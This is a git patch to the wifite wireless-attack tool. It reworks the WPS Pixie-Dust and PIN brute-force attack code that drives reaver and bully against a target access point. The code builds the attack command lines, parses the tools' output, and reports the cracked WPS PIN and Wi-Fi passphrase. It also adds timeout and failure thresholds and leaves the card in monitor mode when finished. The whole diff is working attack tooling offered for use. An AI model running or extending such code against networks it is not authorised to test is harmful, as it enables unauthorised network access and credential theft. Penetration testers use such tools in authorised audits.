From 90c99b11f1c2c14a4392a57038effaad62082af5 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 7 Apr 2018 06:22:16 -0400 Subject: [PATCH] 2.1.3: Better WPS attack messaging. Leave device in Monitor Mode. Unrelated to WPS: * Do not take device out of monitor mode when finished (informs user) * Do not restart NetworkManager when finished (informs user) Changes to CLI switches: * --wps-time X: Total time for WPS attack to complete * --wps-timeouts X: Max number of timeouts before failing * --wps-fails X: Max number of WPSFails before failing * Removed unused WPS switches. * Improved --help messaging for WPS switches. * Fail/Timeout threshold default is 100 Bully now outputs useful information: * Current PIN + status * Time remaining * Number of Timeout messages * Number of "WPSFail" messages * If AP is locked Better reaver output. * Looks more like Bully's output. * Timer shows time remaining for attack. * Mentions "Running pixiewps" during "M2 message" step. * pixiewps failure looks like this: "Reaver says: 'WPS pin not found'" * Counts Timeouts and "WPS Transaction Failure" (WPSFail) For #28 --- wifite/args.py | 55 ++++--- wifite/attack/wps.py | 15 +- wifite/config.py | 35 ++--- wifite/tools/bully.py | 264 ++++++++++++++++++------------- wifite/tools/reaver.py | 341 +++++++++++++++++++++++++---------------- 5 files changed, 420 insertions(+), 290 deletions(-) diff --git a/wifite/args.py b/wifite/args.py index 13b0046..2e721bb 100755 --- a/wifite/args.py +++ b/wifite/args.py @@ -297,56 +297,55 @@ class Arguments(object): dest='wps_filter', help=Color.s('Filter to display only WPS-enabled networks')) wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', dest='wps_filter') + wps.add_argument('--bully', action='store_true', dest='use_bully', help=Color.s('Use {C}bully{W} instead of {C}reaver{W} for WPS attacks (default: {G}reaver{W})')) + # Alias + wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true', dest='use_bully') + wps.add_argument('--no-wps', action='store_true', dest='no_wps', help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})')) + wps.add_argument('--wps-only', action='store_true', dest='wps_only', help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})')) + # Alias + wps.add_argument('--pixie', help=argparse.SUPPRESS, action='store_true', dest='wps_only') - # Same as --wps-only - wps.add_argument('--pixie', - help=argparse.SUPPRESS, - action='store_true', - dest='wps_only') - - wps.add_argument('--pixiet', + # Time limit on entire attack. + wps.add_argument('--wps-time', action='store', dest='wps_pixie_timeout', - metavar='[seconds]', + metavar='[sec]', type=int, - help=self._verbose('Time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout)) - wps.add_argument('--pixiest', - action='store', - dest='wps_pixie_step_timeout', - metavar='[seconds]', - type=int, - help=self._verbose('Time to wait for a step to progress before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_step_timeout)) - wps.add_argument('--wpsmf', + help=self._verbose('Total time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout)) + # Alias + wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wps_pixie_timeout', type=int) + + # Maximum number of "failures" (WPSFail) + wps.add_argument('--wps-fails', action='store', dest='wps_fail_threshold', - metavar='[fails]', + metavar='[num]', type=int, - help=self._verbose('Maximum number of WPS Failures before failing attack (default: {G}%d{W})' % self.config.wps_fail_threshold)) - wps.add_argument('-wpsmf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int) - wps.add_argument('--wpsmt', + help=self._verbose('Maximum number of WPSFail/NoAssoc errors before failing (default: {G}%d{W})' % self.config.wps_fail_threshold)) + # Alias + wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int) + + # Maximum number of "timeouts" + wps.add_argument('--wps-timeouts', action='store', dest='wps_timeout_threshold', - metavar='[timeouts]', + metavar='[num]', type=int, - help=self._verbose('Maximum number of Timeouts before stopping (default: {G}%d{W})' % self.config.wps_timeout_threshold)) - wps.add_argument('-wpsmt', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int) - wps.add_argument('--ignore-ratelimit', - action='store_false', - dest='wps_skip_rate_limit', - help=Color.s('Ignores attack if WPS is rate-limited (default: {G}on{W})')) - wps.add_argument('-ignore-ratelimit', help=argparse.SUPPRESS, action='store_false', dest='wps_skip_rate_limit') + help=self._verbose('Maximum number of Timeouts before failing (default: {G}%d{W})' % self.config.wps_timeout_threshold)) + # Alias + wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int) def _add_command_args(self, commands): diff --git a/wifite/attack/wps.py b/wifite/attack/wps.py index 906a25f..7c49ffa 100755 --- a/wifite/attack/wps.py +++ b/wifite/attack/wps.py @@ -29,19 +29,18 @@ class AttackWPS(Attack): bully = Bully(self.target) bully.run() bully.stop() - if bully.crack_result is not None: - self.crack_result = bully.crack_result - self.success = True - return True + self.crack_result = bully.crack_result + self.success = self.crack_result is not None + return self.success else: reaver = Reaver(self.target) if reaver.is_pixiedust_supported(): # Reaver: Pixie-dust reaver = Reaver(self.target) - if reaver.run_pixiedust_attack(): - self.crack_result = reaver.crack_result - self.success = True - return True + reaver.run() + self.crack_result = reaver.crack_result + self.success = self.crack_result is not None + return self.success else: Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}") diff --git a/wifite/config.py b/wifite/config.py index d434de1..b3a6f84 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -12,7 +12,7 @@ class Configuration(object): initialized = False # Flag indicating config has been initialized temp_dir = None # Temporary directory - version = '2.1.2' + version = '2.1.3' @staticmethod def initialize(load_interface=True): @@ -88,10 +88,8 @@ class Configuration(object): Configuration.wps_only = False # ONLY use WPS attacks on non-WEP networks Configuration.use_bully = False # Use bully instead of reaver Configuration.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails - Configuration.wps_pixie_step_timeout = 30 # Seconds to wait for a step to change before pixie fails - Configuration.wps_fail_threshold = 30 # Max number of failures - Configuration.wps_timeout_threshold = 30 # Max number of timeouts - Configuration.wps_skip_rate_limit = True # Skip rate-limited WPS APs + Configuration.wps_fail_threshold = 100 # Max number of failures + Configuration.wps_timeout_threshold = 100 # Max number of timeouts # Commands Configuration.show_cracked = False @@ -214,31 +212,25 @@ class Configuration(object): # WPS if args.wps_filter: - Configuration.wps_filter = args.wps_filter + Configuration.wps_filter = args.wps_filter if args.wps_only: Configuration.wps_only = True Color.pl('{+} {C}option:{W} will *only* attack non-WEP networks with {G}WPS attacks{W} (no handshake capture)') if args.no_wps: - Configuration.no_wps = args.no_wps + Configuration.no_wps = args.no_wps Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} (Pixie-Dust/PIN) on targets') if args.use_bully: - Configuration.use_bully = args.use_bully + Configuration.use_bully = args.use_bully Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks') if args.wps_pixie_timeout: Configuration.wps_pixie_timeout = args.wps_pixie_timeout - Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout) - if args.wps_pixie_step_timeout: - Configuration.wps_pixie_step_timeout = args.wps_pixie_step_timeout - Color.pl('{+} {C}option:{W} Any step in the pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_step_timeout) + Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after {O}%d seconds{W}' % args.wps_pixie_timeout) if args.wps_fail_threshold: Configuration.wps_fail_threshold = args.wps_fail_threshold - Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d failures{W}' % args.wps_fail_threshold) + Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d failures{W}' % args.wps_fail_threshold) if args.wps_timeout_threshold: Configuration.wps_timeout_threshold = args.wps_timeout_threshold - Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d timeouts{W}' % args.wps_timeout_threshold) - if args.wps_skip_rate_limit == False: - Configuration.wps_skip_rate_limit = False - Color.pl('{+} {C}option:{W} will {G}continue{W} WPS attacks when rate-limited') + Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d timeouts{W}' % args.wps_timeout_threshold) # Adjust encryption filter Configuration.encryption_filter = [] @@ -321,11 +313,14 @@ class Configuration(object): Macchanger.reset_if_changed() from .tools.airmon import Airmon if hasattr(Configuration, "interface") and Configuration.interface is not None and Airmon.base_interface is not None: - Airmon.stop(Configuration.interface) - Airmon.put_interface_up(Airmon.base_interface) + Color.pl('{!} Leaving interface {C}%s{W} in Monitor Mode.' % Configuration.interface) + Color.pl('{!} You can disable Monitor Mode when finished ({C}airmon-ng stop %s{W})' % Configuration.interface) + #Airmon.stop(Configuration.interface) + #Airmon.put_interface_up(Airmon.base_interface) if Airmon.killed_network_manager: - Airmon.start_network_manager() + Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})') + #Airmon.start_network_manager() exit(code) diff --git a/wifite/tools/bully.py b/wifite/tools/bully.py index c0a19f9..84e2d26 100755 --- a/wifite/tools/bully.py +++ b/wifite/tools/bully.py @@ -15,10 +15,10 @@ from threading import Thread class Bully(Attack): def __init__(self, target): super(Bully, self).__init__(target) - self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0 - self.pins_attempted = 0 + self.total_timeouts = 0 + self.total_failures = 0 + self.locked = False self.state = "{O}Waiting for beacon{W}" - self.m_state = None self.start_time = time.time() self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None @@ -46,8 +46,6 @@ class Bully(Attack): self.bully_proc = None - def attack_type(self): - return "Pixie-Dust" def run(self): with Airodump(channel=self.target.channel, @@ -55,11 +53,7 @@ class Bully(Attack): skip_wps=True, output_file_prefix='wps_pin') as airodump: # Wait for target - Color.clear_entire_line() - Color.pattack("WPS", - self.target, - self.attack_type(), - "Waiting for target to appear...") + self.pattack("Waiting for target to appear...") self.target = self.wait_for_target(airodump) # Start bully @@ -67,27 +61,42 @@ class Bully(Attack): stderr=Process.devnull(), bufsize=0, cwd=Configuration.temp()) + + # Start bully status thread t = Thread(target=self.parse_line_thread) t.daemon = True t.start() + try: while self.bully_proc.poll() is None: try: self.target = self.wait_for_target(airodump) except Exception as e: - Color.clear_entire_line() - Color.pattack("WPS", - self.target, - self.attack_type(), - "{R}failed: {O}%s{W}" % e) - Color.pl("") + self.pattack('{R}Failed: {O}%s{W}' % e, newline=True) self.stop() break - Color.clear_entire_line() - Color.pattack("WPS", - self.target, - self.attack_type(), - self.get_status()) + + # Update status + self.pattack(self.get_status()) + + # Check if entire attack timed out. + if self.running_time() > Configuration.wps_pixie_timeout: + self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % Configuration.wps_pixie_timeout, newline=True) + self.stop() + return + + # Check if timeout threshold was breached + if self.total_timeouts >= Configuration.wps_timeout_threshold: + self.pattack('{R}Failed: {O}More than %d timeouts{W}' % Configuration.wps_timeout_threshold, newline=True) + self.stop() + return + + # Check if WPSFail threshold was breached + if self.total_failures >= Configuration.wps_fail_threshold: + self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % Configuration.wps_fail_threshold, newline=True) + self.stop() + return + time.sleep(0.5) except KeyboardInterrupt as e: self.stop() @@ -97,111 +106,97 @@ class Bully(Attack): raise e if self.crack_result is None: - Color.clear_entire_line() - Color.pattack("WPS", - self.target, - self.attack_type(), - "{R}Failed{W}\n") + self.pattack("{R}Failed{W}", newline=True) + + + def pattack(self, message, newline=False): + # Print message with attack information. + time_left = Configuration.wps_pixie_timeout - self.running_time() + + Color.clear_entire_line() + Color.pattack("WPS", + self.target, + 'Pixie-Dust', + '{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message)) + if newline: + Color.pl("") + def running_time(self): return int(time.time() - self.start_time) + def get_status(self): - result = self.state - result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time()) - result += " {G}tries:%d{W}" % self.pins_attempted - result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc) - result += " {R}lockouts:%d{W}" % self.consecutive_lockouts - result += ")" - return result + main_status = self.state + + meta_statuses = [] + if self.total_timeouts > 0: + meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts) + + if self.total_failures > 0: + meta_statuses.append("{O}WPSFail:%d{W}" % self.total_failures) + + if self.locked: + meta_statuses.append("{R}Locked{W}") + + if len(meta_statuses) > 0: + main_status += ' (%s)' % ', '.join(meta_statuses) + + return main_status + def parse_line_thread(self): for line in iter(self.bully_proc.pid.stdout.readline, b""): if line == "": continue line = line.replace("\r", "").replace("\n", "").strip() - if self.parse_line(line): break # Cracked - def parse_line(self, line): - # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c) - got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line) - if got_beacon: - # group(1)=ESSID, group(2)=BSSID - self.state = "Got beacon" + if Configuration.verbose > 1: + Color.pe('\n{P} [bully:stdout] %s' % line) + + self.state = self.parse_state(line) - # [+] Last State = 'NoAssoc' Next pin '48855501' - last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line) - if last_state: - # group(1)=result, group(2)=PIN - result = "Start" # last_state.group(1) - pin = last_state.group(2) - self.state = "Trying PIN:{C}%s{W}" % pin + self.crack_result = self.parse_crack_result(line) - # [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505' - # [+] Tx( Auth ) = 'Timeout' Next pin '80241263' - rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line) - if rx_m: - # group(1)=M3/M5, group(2)=result, group(3)=PIN - self.m_state = rx_m.group(1) - result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad - if result in ["Pin1Bad", "Pin2Bad"]: - self.pins_attempted += 1 - self.consecutive_lockouts = 0 # Reset lockout count - self.consecutive_timeouts = 0 # Reset timeout count - self.consecutive_noassoc = 0 # Reset timeout count - result = "{G}%s{W}" % result - elif result == "Timeout": - self.consecutive_timeouts += 1 - result = "{O}%s{W}" % result - elif result == "NoAssoc": - self.consecutive_noassoc += 1 - result = "{O}%s{W}" % result - else: - result = "{R}%s{W}" % result - pin = rx_m.group(3) - self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result) - - # [!] WPS lockout reported, sleeping for 43 seconds ... - lock_out = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line) - if lock_out: - sleeping = lock_out.group(1) - self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping - self.consecutive_lockouts += 1 - - # [Pixie-Dust] WPS pin not found - pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line) - if pixie_re: - self.state = "{R}Failed{W}" + if self.crack_result: + break - # [+] Running pixiewps with the information, wait ... - pixie_re = re.search(r".*Running pixiewps with the information", line) - if pixie_re: - self.state = "{G}Running pixiewps...{W}" - + def parse_crack_result(self, line): + # Check for line containing PIN and PSK # [*] Pin is '80246213', key is 'password' - # [*] Pin is '11867722', key is '9a6f7997' pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line) if pin_key_re: self.cracked_pin = pin_key_re.group(1) self.cracked_key = pin_key_re.group(2) - # PIN : '80246213' - pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line) - if pin_re: - self.cracked_pin = pin_re.group(1) + ############### + # Check for PIN + if self.cracked_pin is None: + # PIN : '80246213' + pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line) + if pin_re: + self.cracked_pin = pin_re.group(1) + # [Pixie-Dust] PIN FOUND: 01030365 + pin_re = re.search(r"^\[Pixie-Dust\] PIN FOUND: '?(\d*)'?\s*$", line) + if pin_re: + self.cracked_pin = pin_re.group(1) + + if self.cracked_pin is not None: + # Mention the PIN & that we're not done yet. + self.pattack("{G}Cracked PIN: {C}%s{W}" % self.cracked_pin, newline=True) + + self.state = "{G}Finding PSK...{C}" + time.sleep(2) + + ########################### # KEY : 'password' key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) if key_re: self.cracked_key = key_re.group(1) - #warn_re = re.search(r"\[\!\]\s*(.*)$", line) - #if warn_re: self.state = "{O}%s{W}" % warn_re.group(1) - if not self.crack_result and self.cracked_pin and self.cracked_key: - Color.clear_entire_line() - Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}") - Color.pl("") + self.pattack("{G}Cracked PSK: {C}%s{W}" % self.cracked_key, newline=True) self.crack_result = CrackResultWPS( self.target.bssid, self.target.essid, @@ -209,19 +204,81 @@ class Bully(Attack): self.cracked_key) Color.pl("") self.crack_result.dump() - return True - else: - return False + + return self.crack_result + + + def parse_state(self, line): + state = self.state + + # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c) + got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line) + if got_beacon: + # group(1)=ESSID, group(2)=BSSID + state = "Got beacon" + + # [+] Last State = 'NoAssoc' Next pin '48855501' + last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line) + if last_state: + # group(1)=result, group(2)=PIN + pin = last_state.group(2) + state = "Trying PIN {C}%s{W} (%s)" % (pin, last_state.group(1)) + + # [+] Tx( Auth ) = 'Timeout' Next pin '80241263' + mx_result_pin = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line) + if mx_result_pin: + self.locked = False + # group(1)=M3/M5, group(2)=result, group(3)=PIN + m_state = mx_result_pin.group(1) + result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad + pin = mx_result_pin.group(3) + + if result == "Timeout": + self.total_timeouts += 1 + result = "{O}%s{W}" % result + elif result == "WPSFail": + self.total_failures += 1 + result = "{O}%s{W}" % result + elif result == "NoAssoc": + result = "{O}%s{W}" % result + else: + result = "{R}%s{W}" % result + + result = "{P}%s{W}:%s" % (m_state.strip(), result.strip()) + state = "Trying PIN {C}%s{W} (%s)" % (pin, result) + + # [!] WPS lockout reported, sleeping for 43 seconds ... + re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line) + if re_lockout: + self.locked = True + sleeping = re_lockout.group(1) + state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping + + # [Pixie-Dust] WPS pin not found + re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line) + if re_pin_not_found: + state = "{R}Failed: {O}Bully says 'WPS pin not found'{W}" + + # [+] Running pixiewps with the information, wait ... + re_running_pixiewps = re.search(r".*Running pixiewps with the information", line) + if re_running_pixiewps: + state = "{G}Running pixiewps...{W}" + + return state + def stop(self): if hasattr(self, "pid") and self.pid and self.pid.poll() is None: self.pid.interrupt() + def __del__(self): self.stop() + @staticmethod def get_psk_from_pin(target, pin): + # Fetches PSK from a Target assuming "pin" is the correct PIN ''' bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon PIN : '01030365' @@ -229,8 +286,6 @@ class Bully(Attack): BSSID : '34:21:09:01:92:7c' ESSID : 'AirLink89300' ''' - Color.pl('\n{+} found PIN: {G}%s{W}' % pin) - Color.p('{+} fetching {C}PSK{W} using {C}bully{W}... ') cmd = [ 'bully', '--channel', target.channel, @@ -247,12 +302,11 @@ class Bully(Attack): key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) if key_re is not None: psk = key_re.group(1) - Color.pl('{W}found PSK: {G}%s{W}' % psk) return psk - Color.pl('{R}failed{W}') return None + if __name__ == '__main__': Configuration.initialize() Configuration.interface = 'wlan0mon' diff --git a/wifite/tools/reaver.py b/wifite/tools/reaver.py index d700140..ca9a276 100755 --- a/wifite/tools/reaver.py +++ b/wifite/tools/reaver.py @@ -5,6 +5,7 @@ from ..model.attack import Attack from ..config import Configuration from ..util.color import Color from ..util.process import Process +from ..util.timer import Timer from ..tools.airodump import Airodump from ..tools.bully import Bully # for PSK retrieval from ..model.wps_result import CrackResultWPS @@ -14,155 +15,228 @@ import os, time, re class Reaver(Attack): def __init__(self, target): super(Reaver, self).__init__(target) - self.success = False + + self.start_time = None + self.state = 'Initializing' + self.locked = False + self.total_timeouts = 0 + self.total_wpsfails = 0 + self.crack_result = None + self.output_filename = Configuration.temp('reaver.out') + if os.path.exists(self.output_filename): + os.remove(self.output_filename) + + self.output_write = open(self.output_filename, 'a') + + self.reaver_cmd = [ + 'reaver', + '--interface', Configuration.interface, + '--bssid', self.target.bssid, + '--channel', self.target.channel, + '--pixie-dust', '1', # pixie-dust attack + '--session', '/dev/null', # Don't restart session + '-vv' # (very) verbose + ] + + self.reaver_proc = None + def is_pixiedust_supported(self): ''' Checks if 'reaver' supports WPS Pixie-Dust attack ''' output = Process(['reaver', '-h']).stderr() return '--pixie-dust' in output - def run_pixiedust_attack(self): - # Write reaver stdout to file. - self.stdout_file = Configuration.temp('reaver.out') - if os.path.exists(self.stdout_file): - os.remove(self.stdout_file) + def run(self): + ''' Returns True if attack is successful. ''' + try: + self._run() # Run-loop + except Exception as e: + # Failed with error + self.pattack('{R}Failed:{O} %s' % str(e), newline=True) + return self.crack_result is not None - command = [ - 'reaver', - '--interface', Configuration.interface, - '--bssid', self.target.bssid, - '--channel', self.target.channel, - '--pixie-dust', '1', # pixie-dust attack - '--session', '/dev/null', # Don't restart session - '-vv' # (very) verbose - ] - stdout_write = open(self.stdout_file, 'a') - reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) + # Stop reaver if it's still running + if self.reaver_proc.poll() is None: + self.reaver_proc.interrupt() - pin = None - step = 'initializing' - time_since_last_step = 0 + # Clean up open file handle + if self.output_write: + self.output_write.close() + + return self.crack_result is not None + + + def _run(self): + self.start_time = time.time() with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wps=True, output_file_prefix='pixie') as airodump: - Color.clear_line() - Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...") + # Wait for target + self.pattack("Waiting for target to appear...") + self.target = self.wait_for_target(airodump) - while True: - try: - airodump_target = self.wait_for_target(airodump) - except Exception as e: - Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e) + # Start reaver + self.reaver_proc = Process(self.reaver_cmd, + stdout=self.output_write, + stderr=Process.devnull()) + + # Loop while reaver is running + while self.crack_result is None and self.reaver_proc.poll() is None: + + # Refresh target information (power) + self.target = self.wait_for_target(airodump) + + # Update based on reaver output + stdout = self.get_output() + self.state = self.parse_state(stdout) + self.parse_failure(stdout) + + # Print status line + self.pattack(self.get_status()) + + # Check if we cracked it + self.crack_result = self.parse_crack_result(stdout) + + time.sleep(0.5) + + # Check if crack result is in output + stdout = self.get_output() + self.crack_result = self.parse_crack_result(stdout) + + # Show any failures found + if self.crack_result is None: + self.parse_failure(stdout) + + if self.crack_result is None and self.reaver_proc.poll() is not None: + raise Exception('Reaver process stopped (exit code: %s)' % self.reaver_proc.poll()) + + + def get_status(self): + main_status = self.state + + meta_statuses = [] + if self.total_timeouts > 0: + meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts) + + if self.total_wpsfails > 0: + meta_statuses.append("{O}WPSFail:%d{W}" % self.total_wpsfails) + + if self.locked: + meta_statuses.append("{R}Locked{W}") + + if len(meta_statuses) > 0: + main_status += ' (%s)' % ', '.join(meta_statuses) + + return main_status + + + def parse_crack_result(self, stdout): + if self.crack_result is not None: + return self.crack_result + + (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) + + # Check if we cracked it, or if process stopped. + if pin is not None: + # We cracked it. + + if psk is not None: + # Reaver provided PSK + self.pattack('{G}Cracked WPS PIN: {C}%s{W} {G}PSK: {C}%s{W}' % (pin, psk), newline=True) + else: + self.pattack('{G}Cracked WPS PIN: {C}%s' % pin, newline=True) + + # Try to derive PSK from PIN using Bully + self.pattack('{W}Retrieving PSK using {C}bully{W}...') + psk = Bully.get_psk_from_pin(self.target, pin) + if psk is None: Color.pl("") - return False - - stdout_write.flush() - - # Check output from reaver process - stdout = self.get_stdout() - stdout_last_line = stdout.split('\n')[-1] - - (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) - - # Check if we cracked it, or if process stopped. - if pin is not None or reaver.poll() is not None: - reaver.interrupt() - - # Check one-last-time for PIN/PSK/SSID, in case of race condition. - stdout = self.get_stdout() - (pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout) - - # Check if we cracked it. - if pin is not None: - # We cracked it. - - if psk is None: - # Try to derive PSK from PIN using Bully - psk = Bully.get_psk_from_pin(self.target, pin) - - bssid = self.target.bssid - Color.clear_entire_line() - if psk is None: - Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN{W} (but not PSK)") - else: - Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}") - Color.pl("") - self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) - self.crack_result.dump() - return True - else: - # Failed to crack, reaver proces ended. - Color.clear_line() - Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n") - return False - - if 'WPS pin not found' in stdout: - Color.pl('{R}failed: {O}WPS pin not found{W}') - break - - last_step = step - # Status updates, depending on last line of stdout - if 'Waiting for beacon from' in stdout_last_line: - step = '({C}step 1/8{W}) waiting for beacon' - elif 'Associated with' in stdout_last_line: - step = '({C}step 2/8{W}) waiting to start session' - elif 'Starting Cracking Session.' in stdout_last_line: - step = '({C}step 3/8{W}) waiting to try pin' - elif 'Trying pin' in stdout_last_line: - step = '({C}step 4/8{W}) trying pin' - elif 'Sending EAPOL START request' in stdout_last_line: - step = '({C}step 5/8{W}) sending eapol start request' - elif 'Sending identity response' in stdout_last_line: - step = '({C}step 6/8{W}) sending identity response' - elif 'Sending M2 message' in stdout_last_line: - step = '({C}step 7/8{W}) sending m2 message (may take a while)' - elif 'Detected AP rate limiting,' in stdout_last_line: - if Configuration.wps_skip_rate_limit: - Color.pl('{R}failed: {O}hit WPS rate-limit{W}') - Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + - ' this kind of failure in the future{W}') - break - step = '({C}step -/8{W}) waiting for AP rate limit' - - if step != last_step: - # Step changed, reset step timer - time_since_last_step = 0 + self.pattack('{R}Failed {O}to get PSK using bully', newline=True) else: - time_since_last_step += 1 + self.pattack('{G}Cracked WPS PSK: {C}%s' % psk, newline=True) - if time_since_last_step > Configuration.wps_pixie_step_timeout: - Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) - break + crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) + crack_result.dump() + return crack_result - # TODO: Timeout check - if reaver.running_time() > Configuration.wps_pixie_timeout: - Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) - break + return None - # Reaver Failure/Timeout check - fail_count = stdout.count('WPS transaction failed') - if fail_count > Configuration.wps_fail_threshold: - Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) - break - timeout_count = stdout.count('Receive timeout occurred') - if timeout_count > Configuration.wps_timeout_threshold: - Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) - break - Color.clear_line() - Color.pattack("WPS", airodump_target, "Pixie-Dust", step) + def parse_failure(self, stdout): + # Total failure + if 'WPS pin not found' in stdout: + raise Exception('Reaver says "WPS pin not found"') - time.sleep(1) - continue + # Running-time failure + if self.running_time() > Configuration.wps_pixie_timeout: + raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout) + + # WPSFail count + self.total_wpsfails = stdout.count('WPS transaction failed') + if self.total_wpsfails >= Configuration.wps_fail_threshold: + raise Exception('Too many failures (%d)' % self.total_wpsfails) + + # Timeout count + self.total_timeouts = stdout.count('Receive timeout occurred') + if self.total_timeouts >= Configuration.wps_timeout_threshold: + raise Exception('Too many timeouts (%d)' % self.total_timeouts) + + + def parse_state(self, stdout): + state = self.state + + stdout_last_line = stdout.split('\n')[-1] + + if 'Waiting for beacon from' in stdout_last_line: + state = 'Waiting for beacon' + + elif 'Associated with' in stdout_last_line: + state = 'Associated' + + elif 'Starting Cracking Session.' in stdout_last_line: + state = 'Waiting to try PIN' + + elif 'Trying pin' in stdout_last_line: + state = 'Trying PIN' + + elif 'Sending EAPOL START request' in stdout_last_line: + state = 'Sending EAPOL Start request' + + elif 'Sending identity response' in stdout_last_line: + state = 'Sending identity response' + self.locked = False + + elif 'Sending M2 message' in stdout_last_line: + state = 'Sending M2 / Running pixiewps' + self.locked = False + + elif 'Detected AP rate limiting,' in stdout_last_line: + state = 'Rate-Limited by AP' + self.locked = True + + return state + + + def pattack(self, message, newline=False): + # Print message with attack information. + time_left = Configuration.wps_pixie_timeout - self.running_time() + + Color.clear_entire_line() + Color.pattack("WPS", + self.target, + 'Pixie-Dust', + '{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message)) + if newline: + Color.pl("") + + + def running_time(self): + return int(time.time() - self.start_time) - # Attack failed, already printed reason why - reaver.interrupt() - stdout_write.close() - return False @staticmethod def get_pin_psk_ssid(stdout): @@ -196,12 +270,21 @@ class Reaver(Attack): return (pin, psk, ssid) - def get_stdout(self): - ''' Gets output from stdout_file ''' - if not self.stdout_file: + + def get_output(self): + ''' Gets output from reaver's output file ''' + if not self.output_filename: return '' - with open(self.stdout_file, 'r') as fid: + + if self.output_write: + self.output_write.flush() + + with open(self.output_filename, 'r') as fid: stdout = fid.read() + + if Configuration.verbose > 1: + Color.pe('\n{P} [reaver:stdout] %s' % '\n [reaver:stdout] '.join(stdout.split('\n'))) + return stdout.strip()